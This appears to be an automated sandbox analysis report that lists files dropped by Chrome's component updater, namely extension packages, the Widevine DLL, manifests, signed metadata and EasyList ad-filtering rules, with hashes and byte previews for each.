SHA1:	475BDCF05A8640634D82B60767100CDA5953396D
SHA-256:	03CCCBB22B17080279EA1707C9AB093C59F4F4DD09580C841CFA794CB372228D
SHA-512:	3731724AC6EA813251C12868C4FD6CE1E0E742D6655A9CDF638387A05330374129A261F73F93D06595FCF8A0DD558CE191A2D6D7B21F76FC54FBA2674573355F
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........Z......c.:..k7..O....32.k$H:...Q...a...r>xNa.....c..!....3...s.......w...{.W.&\.MY..OT!....u..}.T-._W.\^.2.8.r.t.e....i7..ug..<..t.4D...V0...X.o..G.@..._H...E....".'.)..x..]B.3....a..o1.Q..F/..m}..h\|s=HX.w"..+..>.Q.....\.S.Q~..~.,9..c!.v.3j,....h[.......0.."0....H.............0.........bi] ,7.T#}.....L.......J...M.h.!.ZY...D^....j...1..BaR.B...l...lk....}>#.e.Qy.g..a...r....Y.......j5.m...Z.A.....R<E...E....q/..Y!3.;'..m.L{.O".M.,.t..}.....}\|..BjP.k....+...M{.;....E.i...'....k^]8.I...s..^...e.v......BV.Gk0......H.....B.=.]..`.c..p4....j....7.e.N(....].a..:...,..:....X.._.6[h..<...~.......y.b.T....1.N......+.S.../...\..7.m...5.....^.(,..#.1X.

C:\Windows\SystemTemp\chrome_BITS_8016_1388616622\gonpemdgkjcecdgbnaabipppbmgfggbe_2024.11.08.00_all_ol2ffdgccopns43rnwvf6yhqoi.crx3 (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	7326
Entropy (8bit):	7.727942782725483
Encrypted:	false
SSDEEP:	192:C37oyTIs04q37YgZkUBOoHMdNiP6nCm/9xjvhoRx6x82trRn:YTqU8AoH6n5zloaZN
MD5:	674314F5514D6F7EE43338AC4C765BFF
SHA1:	475BDCF05A8640634D82B60767100CDA5953396D
SHA-256:	03CCCBB22B17080279EA1707C9AB093C59F4F4DD09580C841CFA794CB372228D
SHA-512:	3731724AC6EA813251C12868C4FD6CE1E0E742D6655A9CDF638387A05330374129A261F73F93D06595FCF8A0DD558CE191A2D6D7B21F76FC54FBA2674573355F
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........Z......c.:..k7..O....32.k$H:...Q...a...r>xNa.....c..!....3...s.......w...{.W.&\.MY..OT!....u..}.T-._W.\^.2.8.r.t.e....i7..ug..<..t.4D...V0...X.o..G.@..._H...E....".'.)..x..]B.3....a..o1.Q..F/..m}..h\|s=HX.w"..+..>.Q.....\.S.Q~..~.,9..c!.v.3j,....h[.......0.."0....H.............0.........bi] ,7.T#}.....L.......J...M.h.!.ZY...D^....j...1..BaR.B...l...lk....}>#.e.Qy.g..a...r....Y.......j5.m...Z.A.....R<E...E....q/..Y!3.;'..m.L{.O".M.,.t..}.....}\|..BjP.k....+...M{.;....E.i...'....k^]8.I...s..^...e.v......BV.Gk0......H.....B.=.]..`.c..p4....j....7.e.N(....].a..:...,..:....X.._.6[h..<...~.......y.b.T....1.N......+.S.../...\..7.m...5.....^.(,..#.1X.

C:\Windows\SystemTemp\chrome_BITS_8016_582987270\BIT4B01.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	1181927
Entropy (8bit):	7.997580237306415
Encrypted:	true
SSDEEP:	24576:rq9Lbk1ZSPg10//xALQtigTPnWqHAD/Dzj4ZmM4/wIwIs10XYyyJeSq3IfI+GN1s:6LQPcC0//yLlgTPWqgzDH4ZmZs6XYy8r
MD5:	F265D47475FFD3884329D92DEEFAE504
SHA1:	98C74386481F171B09CB9490281688392EEFBFDD
SHA-256:	C900BA9A2D8318263FD43782EE6FD5FB50BAD78BF0EB2C972B5922C458AF45ED
SHA-512:	4FD27594C459FB1CD94A857BE10F7D1D6216DBF202CD43E8A3FA395A268C72FC5F5C456C9CB314F2220D766AF741DB469C8BB106ACBED419149A44A3B87619F1
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........R....H.4.>..gg.n6:...d1.<X.R&..V...5.d..o\%r'y..W....}.Gk!..r.7..k.@n..^....[.&......^..>.Su...^"aZ.......>m~.....u+..O.....3$s...ABo..)........4..W.3vp^.'..OF.........f.u.(o..).f..Yu\\..`.z.c...B.Bb.v..w.........c4r../..d\|...&@Wk...W..@......0.."0....H.............0..........,.v@....]...<.....n..m.RI..~o.....K..+B/$.).EP....H/..}......$.]....m.Y....P.......&/.Q...@7..`.$M..(-!m...*.H....k.P......E%.(.DvnlS....d....$.\|....K.......5.....k?........XG..0.... .m...c3O.......xm.x,.D.duG..F+.. Q!.NJT..&..y..LHng.'.[..._i.Pt.........w...:...q.../J..R1....N..]..b._...]y4..f......@.x..\B..h..8b0...{pi..(.....N=@..V...S..o\|d;....j.Kx.A..+.

C:\Windows\SystemTemp\chrome_BITS_8016_582987270\neifaoindggfcjicffkgpmnlppeffabd_1.0.2738.0_win64_kj4dp5kifwxbdodqls7e5nzhtm.crx3 (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	1181927
Entropy (8bit):	7.997580237306415
Encrypted:	true
SSDEEP:	24576:rq9Lbk1ZSPg10//xALQtigTPnWqHAD/Dzj4ZmM4/wIwIs10XYyyJeSq3IfI+GN1s:6LQPcC0//yLlgTPWqgzDH4ZmZs6XYy8r
MD5:	F265D47475FFD3884329D92DEEFAE504
SHA1:	98C74386481F171B09CB9490281688392EEFBFDD
SHA-256:	C900BA9A2D8318263FD43782EE6FD5FB50BAD78BF0EB2C972B5922C458AF45ED
SHA-512:	4FD27594C459FB1CD94A857BE10F7D1D6216DBF202CD43E8A3FA395A268C72FC5F5C456C9CB314F2220D766AF741DB469C8BB106ACBED419149A44A3B87619F1
Malicious:	true
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........R....H.4.>..gg.n6:...d1.<X.R&..V...5.d..o\%r'y..W....}.Gk!..r.7..k.@n..^....[.&......^..>.Su...^"aZ.......>m~.....u+..O.....3$s...ABo..)........4..W.3vp^.'..OF.........f.u.(o..).f..Yu\\..`.z.c...B.Bb.v..w.........c4r../..d\|...&@Wk...W..@......0.."0....H.............0..........,.v@....]...<.....n..m.RI..~o.....K..+B/$.).EP....H/..}......$.]....m.Y....P.......&/.Q...@7..`.$M..(-!m...*.H....k.P......E%.(.DvnlS....d....$.\|....K.......5.....k?........XG..0.... .m...c3O.......xm.x,.D.duG..F+.. Q!.NJT..&..y..LHng.'.[..._i.Pt.........w...:...q.../J..R1....N..]..b._...]y4..f......@.x..\B..h..8b0...{pi..(.....N=@..V...S..o\|d;....j.Kx.A..+.

C:\Windows\SystemTemp\chrome_BITS_8016_633461148\BIT54A.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	37064
Entropy (8bit):	7.971992903016411
Encrypted:	false
SSDEEP:	768:hCy8Oi1BjTqoAPGFT3K03Y9sTGwuuQ4bV7V5lrJgNimWE8+a:V8vBvsGB3NeduQ4bHDFC38r
MD5:	A562A2292F195C97C250581ABFC43411
SHA1:	B00AFCCCFB1CD3E8CAA9BC33A2C14D64B0C10A16
SHA-256:	B48B30AF5CE18C96128BFFF9D2755C7932A1F32ADC66F68322F7DD505DB9626F
SHA-512:	B2984E16532BEC98918EB6ABBF619FECE09D50E4F2ADB1AB3860B2CAD9FB2030955BDAA09CC8D9D0778753F7F2F864F8B3481C894921F424BDFC27CC13A535E5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........qv+....B. o.}.0...l.....$.:......z.....D.@..h..=.87..(..9PG..j.S......t.d.K..B.f....L:k....w.....~.z.[.JD........H.S@..C+...^.....p...A.4W....F......7-_H..s..%.=$.;.!...Q..3..v.=..l..(..Zl.....w....;...W.....7...J.7...L.:@.Wy}.r>....RK..F.........0.."0....H.............0..........Dk.md)=..$.3..r......w.O........{._.-%....G....7R=.+..OA.....M~..(.t.(.R.J.."i..L_g..;.+^'..9.#../.T;-W..W_....OIC%..tRT...nB;(.i.w.W..*..^.=..<...K.}..)[$.E...U.t.......?YE.zW.2l..~.....R._...uRI...Qn..[..u.+........T(T/....(..r....qJ.6z..........F....v18..nEGY.8..kK.....".Kt....G....f..\|].....\.....B%.......Y._).zeqS.,.W......]$...elu[.B..AX^rv^.21.T?.%..y....w".x..

C:\Windows\SystemTemp\chrome_BITS_8016_633461148\gcmjkmgdlgnkkcocmoeiminaijmmjnii_9.52.0_all_acwwpgcqveuj5szz3wkl52k5lm5a.crx3 (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	37064
Entropy (8bit):	7.971992903016411
Encrypted:	false
SSDEEP:	768:hCy8Oi1BjTqoAPGFT3K03Y9sTGwuuQ4bV7V5lrJgNimWE8+a:V8vBvsGB3NeduQ4bHDFC38r
MD5:	A562A2292F195C97C250581ABFC43411
SHA1:	B00AFCCCFB1CD3E8CAA9BC33A2C14D64B0C10A16
SHA-256:	B48B30AF5CE18C96128BFFF9D2755C7932A1F32ADC66F68322F7DD505DB9626F
SHA-512:	B2984E16532BEC98918EB6ABBF619FECE09D50E4F2ADB1AB3860B2CAD9FB2030955BDAA09CC8D9D0778753F7F2F864F8B3481C894921F424BDFC27CC13A535E5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........qv+....B. o.}.0...l.....$.:......z.....D.@..h..=.87..(..9PG..j.S......t.d.K..B.f....L:k....w.....~.z.[.JD........H.S@..C+...^.....p...A.4W....F......7-_H..s..%.=$.;.!...Q..3..v.=..l..(..Zl.....w....;...W.....7...J.7...L.:@.Wy}.r>....RK..F.........0.."0....H.............0..........Dk.md)=..$.3..r......w.O........{._.-%....G....7R=.+..OA.....M~..(.t.(.R.J.."i..L_g..;.+^'..9.#../.T;-W..W_....OIC%..tRT...nB;(.i.w.W..*..^.=..<...K.}..)[$.E...U.t.......?YE.zW.2l..~.....R._...uRI...Qn..[..u.+........T(T/....(..r....qJ.6z..........F....v18..nEGY.8..kK.....".Kt....G....f..\|].....\.....B%.......Y._).zeqS.,.W......]$...elu[.B..AX^rv^.21.T?.%..y....w".x..

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_1807591881\Google.Widevine.CDM.dll

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2877728
Entropy (8bit):	6.868480682648069
Encrypted:	false
SSDEEP:	49152:GB6BoH5sOI2CHusbKOdskuoHHVjcY94RNETO2WYA4oPToqnQ3dK5zuqvGKGxofFo:M67hlnVjcYGRNETO2WYA4oLoqnJuZI5
MD5:	477C17B6448695110B4D227664AA3C48
SHA1:	949FF1136E0971A0176F6ADEA8ADCC0DD6030F22
SHA-256:	CB190E7D1B002A3050705580DD51EBA895A19EB09620BDD48D63085D5D88031E
SHA-512:	1E267B01A78BE40E7A02612B331B1D9291DA8E4330DEA10BF786ACBC69F25E0BAECE45FB3BAFE1F4389F420EBAA62373E4F035A45E34EADA6F72C7C61D2302ED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....fd.........." ......(..........A&.......................................,.......,...`A.........................................V......V......`,......`+..p....+. )...p,......D.8....................C.(.....(.8...........p\..............................text.....(.......(................. ..`.rdata..h.....(.......(.............@..@.data....l......&.................@....pdata...p...`+..r.................@..@.00cfg..(.....+......p+.............@..@.gxfg....$....+..&...r+.............@..@.retplnel.... ,.......+..................tls.........0,.......+.............@....voltbl.D....@,.......+................._RDATA.......P,.......+.............@..@.rsrc........`,.......+.............@..@.reloc.......p,.......+.............@..B........................................................................................................................................

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_1807591881\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1778
Entropy (8bit):	6.02086725086136
Encrypted:	false
SSDEEP:	48:p/hCdQAdJjRkakCi0LXjX9mqjW6JmfQkNWQzXXf2gTs:RtQ1aaxXrjW6JuQEWQKas
MD5:	3E839BA4DA1FFCE29A543C5756A19BDF
SHA1:	D8D84AC06C3BA27CCEF221C6F188042B741D2B91
SHA-256:	43DAA4139D3ED90F4B4635BD4D32346EB8E8528D0D5332052FCDA8F7860DB729
SHA-512:	19B085A9CFEC4D6F1B87CC6BBEEB6578F9CBA014704D05C9114CFB0A33B2E7729AC67499048CB33823C884517CBBDC24AA0748A9BB65E9C67714E6116365F1AB
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJHb29nbGUuV2lkZXZpbmUuQ0RNLmRsbCIsInJvb3RfaGFzaCI6Im9ZZjVLQ2Z1ai1MYmdLYkQyWFdBS1E5Nkp1bTR1Q2dCZTRVeEpGSExSNWMifSx7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiYk01YTJOU1d2RkY1LW9Tdml2eFdqdXVwZ05pblVGakdPQXRrLTBJcGpDZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6Im5laWZhb2luZGdnZmNqaWNmZmtncG1ubHBwZWZmYWJkIiwiaXRlbV92ZXJzaW9uIjoiMS4wLjI3MzguMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"KTPeHzS0ybFaz3_br3ASYWHjb6Ctul92067u2JMwtNYYm-4KxLiSkJZNBIzhm6hNSEW2p5kUEvHD0TjhhFGCZnWm9titj2bqJayCOAGxZb5BO74JJCRfy5Kwr1KSS4nvocsZepnHBmCiG2OV3by-Lyf1h1uU3X3bDfD92O0vJzrA8rwL2LrwIk-BolLo5nlM0I_MZwg8DhZ8SFBu9GGRVB2XrailDrv4SgupFE9gqA1HY6kjRjoyoAHbRRxZdBNNt9IKNdxNyaF9NcNRY8dAedNQ9Tw3YNp5jB7R9lcjO4knn58RdH2h_GiJ4l96StcXA4e7cqbJ77P-c

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_1807591881\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.974403644129192
Encrypted:	false
SSDEEP:	3:SLVV8T+WSq2ykFDJp9qBn:SLVqZS5p0B
MD5:	D30A5BBC00F7334EEDE0795D147B2E80
SHA1:	78F3A6995856854CAD0C524884F74E182F9C3C57
SHA-256:	A08C1BC41DE319392676C7389048D8B1C7424C4B74D2F6466BCF5732B8D86642
SHA-512:	DACF60E959C10A3499D55DC594454858343BF6A309F22D73BDEE86B676D8D0CED10E86AC95ECD78E745E8805237121A25830301680BD12BFC7122A82A885FF4B
Malicious:	false
Preview:	1.c900ba9a2d8318263fd43782ee6fd5fb50bad78bf0eb2c972b5922c458af45ed

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_1807591881\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	145
Entropy (8bit):	4.595307058143632
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFooG+HhFFKS18CWjhXLXGPQ3TRpvF/FHddTcplFHddTcVYA:F6VlM5PpKS18hRIA
MD5:	BBC03E9C7C5944E62EFC9C660B7BD2B6
SHA1:	83F161E3F49B64553709994B048D9F597CDE3DC6
SHA-256:	6CCE5AD8D496BC5179FA84AF8AFC568EEBA980D8A75058C6380B64FB42298C28
SHA-512:	FB80F091468A299B5209ACC30EDAF2001D081C22C3B30AAD422CBE6FEA7E5FE36A67A8E000D5DD03A30C60C30391C85FA31F3931E804C351AB0A71E9A978CC0F
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "windows-mf-cdm",. "version": "1.0.2738.0",. "accept_arch": [. "x64",. "x86_64",. "x86_64h". ].}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_767797103\Filtering Rules

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	74598
Entropy (8bit):	5.5368864380577545
Encrypted:	false
SSDEEP:	1536:7geXUzNNSGg1dSkNp+z55w4kgNmmO6I7kWvQFlGlHUvkS6xt/GL95vkdwz:sDRNfgr9NpK5wl+1O6IoWQFlGlHLS6xQ
MD5:	C6AF15DA82A8A9172FC9CAFC969DE4F9
SHA1:	81F477E181036D551EF6F09CB875C6B280BEBE00
SHA-256:	782009D9765C6104A1B4D1EAC553834E7E399D749A082EAD42BB47ABB42895B5
SHA-512:	F541CB1703A0BD31FCB6E293ACBC6E20F73B365FF8D2270A6D44780E9D5731B8D7803AECACD49D73E0DA065DD1026C9FA95F9CAD2BF0776CE1E2C3C9FCA052C6
Malicious:	false
Preview:	............0.8.@.R.-728x90...........0.8.@.R.adtdp.com^..........0.8.@.R.just-news.pro^..........0.8.@.R.yomeno.xyz^..........0.8.@.R.yellowblue.io^..........0.8.@.R.thubanoa.com^..........0.8.@.R.abh.jp^..........0.8.@.R.ad999.biz^..........0.8.@.R._468_60...........0.8.@.R.adrecover.com^..........0.8.@.R.pemsrv.com^..........0.8.@.R.mnaspm.com^..........0.8.@.R..ar/ads/.,........0.8.@.R.mysmth.net/nForum//ADAgent_.>...........worldstar.com0.8.@.R.js.assemblyexchange.com/wana..(........0.8.@.R.ogads-pa.googleapis.com^..........0.8.@.R.indoleads.com^.%......0.8.@.R.discordapp.com/banners/.(........0.8.@.R.looker.com/api/internal/.#........0.8.@.R.broadstreetads.com^.(........0.8.@.R.shikoku-np.co.jp/img/ad/..........0.8.@.R./banner.cgi?..........0.8.@.R./in/track?data=.!......0.8.@.R.linkbucks.com/tmpl/..........0.8.@.R.clicktripz.com^..........0.8.@.R.-ad-manager/........0.8.@.R.files.slack.com^.$........0.8.@.R.admitad-connect.com^..........0.8.@.R./300-250-.2........0.8.@.R"cloud

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_767797103\LICENSE.txt

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24623
Entropy (8bit):	4.588307081140814
Encrypted:	false
SSDEEP:	384:mva5sf5dXrCN7tnBxpxkepTqzazijFgZk231Py9zD6WApYbm0:mvagXreRnTqzazWgj0v6XqD
MD5:	D33AAA5246E1CE0A94FA15BA0C407AE2
SHA1:	11D197ACB61361657D638154A9416DC3249EC9FB
SHA-256:	1D4FF95CE9C6E21FE4A4FF3B41E7A0DF88638DD449D909A7B46974D3DFAB7311
SHA-512:	98B1B12FF0991FD7A5612141F83F69B86BC5A89DD62FC472EE5971817B7BBB612A034C746C2D81AE58FDF6873129256A89AA8BB7456022246DC4515BAAE2454B
Malicious:	false
Preview:	EasyList Repository Licences.... Unless otherwise noted, the contents of the EasyList repository.. (https://github.com/easylist) is dual licensed under the GNU General.. Public License version 3 of the License, or (at your option) any later.. version, and Creative Commons Attribution-ShareAlike 3.0 Unported, or.. (at your option) any later version. You may use and/or modify the files.. as permitted by either licence; if required, "The EasyList authors.. (https://easylist.to/)" should be attributed as the source of the.. material. All relevant licence files are included in the repository..... Please be aware that files hosted externally and referenced in the.. repository, including but not limited to subscriptions other than.. EasyList, EasyPrivacy, EasyList Germany and EasyList Italy, may be.. available under other conditions; permission must be granted by the.. respective copyright holders to authorise the use of their material.......Creative Commons Attribut

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_767797103\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1529
Entropy (8bit):	5.97509175092227
Encrypted:	false
SSDEEP:	24:pZRj/flTHY4NukYbKcFjeT3U8zkaoX+UqiF46u9ILn9oXUMzniumZ39TzIS/Xre:p/h44SbKcETEwkakBa6F9kUpumZR/Xi
MD5:	951BA6192A41622EC0E04174E1EFA31C
SHA1:	2C63243A5589671BF649FA049542308D3D7EB40E
SHA-256:	EA426C8FDAFABF1B3162C206175A17100613C85A0C30DDCDC0A3434232B69D59
SHA-512:	F9C612AA2848C01C2A3294378E6707AE92638FC5EF4C6C911D400AA981418AEF0334DBFAB1D954E0666ECDD5AB8B1506354D9C6DCF6D3D1459FAC2AD06F9E23E
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJGaWx0ZXJpbmcgUnVsZXMiLCJyb290X2hhc2giOiJ1VkRrWHp2UWlFeHdiRGtPWHNQdWtuXzI3ZGdIbGhPdDRQeENEZ0JnUXhRIn0seyJwYXRoIjoiTElDRU5TRS50eHQiLCJyb290X2hhc2giOiIyaWswNmk0TFlCdVNHNWphRGFIS253NE9pdnVSRzZsQ0JKMVk0TGtzRFJJIn0seyJwYXRoIjoibWFuaWZlc3QuanNvbiIsInJvb3RfaGFzaCI6IlhiOTU4SjJabnFtQzJRMzBYclJFNl9acURIQU9VZFRKaFdyNzV6SnVuV2sifV0sImZvcm1hdCI6InRyZWVoYXNoIiwiaGFzaF9ibG9ja19zaXplIjo0MDk2fV0sIml0ZW1faWQiOiJnY21qa21nZGxnbmtrY29jbW9laW1pbmFpam1tam5paSIsIml0ZW1fdmVyc2lvbiI6IjkuNTIuMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"534ZoaSA4vZpcy0b1OYq4wgLlduJCzBpUCZnNXyx3UoH1ihy6uYapK85BVjJa1ptpN9OiT86GN1r8DNZlX69tLTIyTb7lSKoX31Sef3uvZpSLJBlIGI1173pGoj52Eu77I4DraCiKTVQ4mtVLBee579FqGijozIApfrepXVZeIes4wac06yB06DuFkdEg_jnCv3xR2twcNzidsDVTw7W-VOezjdZgjousBDON_Pumwd7_4ze5

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_767797103\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.8945408555413215
Encrypted:	false
SSDEEP:	3:SjWMQ0GiUVfkCzNMEkDRApvTD:SjWR/3tkNApvTD
MD5:	87190EF44A670A5418E7E6B26DA5CF02
SHA1:	7F24A0F6E188CA285526C968359D5DEEB0CA3F1C
SHA-256:	B9C7B754CFFECA3981CA26BCFEC1FA9988070C8657AE9DA3CA2EA7944E16AB00
SHA-512:	2980EBB51CCEE91B7F887A49D495BA9E3F4D0274AA6D4D0A3E8E4D3E3661815FB825C6D44DAFA34285E3625F979084FFAD5D54E8AE0B9E12ABFEF5C2F71E568C
Malicious:	false
Preview:	1.b48b30af5ce18c96128bfff9d2755c7932a1f32adc66f68322f7dd505db9626f

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_767797103\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	114
Entropy (8bit):	4.547350270682037
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFHXG7LGMdv5HcDKhtUJKS1HVgn:F6VlMZWuMt5SKPS16n
MD5:	3EE731D0E5BFB74CACB3D9E2DFDC7768
SHA1:	EE15CB60213BB402FD90308F0F67D7B6160C9751
SHA-256:	5DBF79F09D999EA982D90DF45EB444EBF66A0C700E51D4C9856AFBE7326E9D69
SHA-512:	F38E3FEDD392F9B273565CBE321A56051EDAF48DB75A0EBB539D57E8D1238D4BAC41E973F037395F9C5D4A189DF5E68726ED2C000134FC36BB7E7295C9A779C1
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "Subresource Filtering Rules",. "ruleset_format": 1,. "version": "9.52.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_989246836\LICENSE

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8016_989246836\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	6.018989605004616
Encrypted:	false
SSDEEP:	48:p/hUI1OwEU3AdIq7ak68O40E2szOxxUJ8BPFkf31U4PrHfqY3J5D:RnOwtQIq7aZ40E2sYUJAYRr/qYZ5D
MD5:	C4709C1D483C9233A3A66A7E157624EA
SHA1:	99A000EB5FE5CC1E94E3155EE075CD6E43DC7582
SHA-256:	225243DC75352D63B0B9B2F48C8AAA09D55F3FB9E385741B12A1956A941880D9
SHA-512:	B45E1FD999D1340CC5EB5A49A4CD967DC736EA3F4EC8B02227577CC3D1E903341BE3217FBB0B74765C72085AC51C63EEF6DCB169D137BBAF3CC49E21EA6468D7
Malicious:	false
